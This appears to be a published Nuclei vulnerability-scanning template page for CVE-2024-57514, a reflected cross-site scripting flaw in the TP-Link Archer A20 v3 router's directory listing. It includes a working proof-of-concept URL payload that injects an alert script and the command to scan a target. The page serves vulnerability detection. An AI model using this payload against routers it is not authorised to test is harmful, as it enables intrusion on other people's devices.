Skip to content

TP-Link Archer A20 v3 Router - Cross-site Scripting

ID: CVE-2024-57514

Severity: medium

Author: s4e-io

Tags: cve,cve2024,tplink,router,xss

The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router’s web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim’s browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.

id: CVE-2024-57514
info:
name: TP-Link Archer A20 v3 Router - Cross-site Scripting
author: s4e-io
severity: medium
description: |
The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router's web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim's browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.
reference:
- https://www.zyenra.com/blog/xss-in-tplink-archer-a20.html
- https://nvd.nist.gov/vuln/detail/CVE-2024-57514
classification:
cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.8
cve-id: CVE-2024-57514
cwe-id: CWE-79
epss-score: 0.00043
epss-percentile: 0.11446
metadata:
max-request: 1
vendor: tp-link
product: tp-link-archer-a20-v3-router
tags: cve,cve2024,tplink,router,xss
http:
- method: GET
path:
- "{{BaseURL}}/<style%20onload=alert`document.domain`;>../..%2f"
matchers:
- type: dsl
dsl:
- 'contains_all(body, "<style onload=alert`document.domain`;", "Index of")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
# digest: 490a0046304402201ae56bb284fddade93d521471bca77e6f6e24be9c28276f10f4384ab9d6d867502205c8e051d0bfc632f6ad61ad02196cc67e37bb702bb0b25655fa8559d06d112a6:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-57514.yaml"

View on Github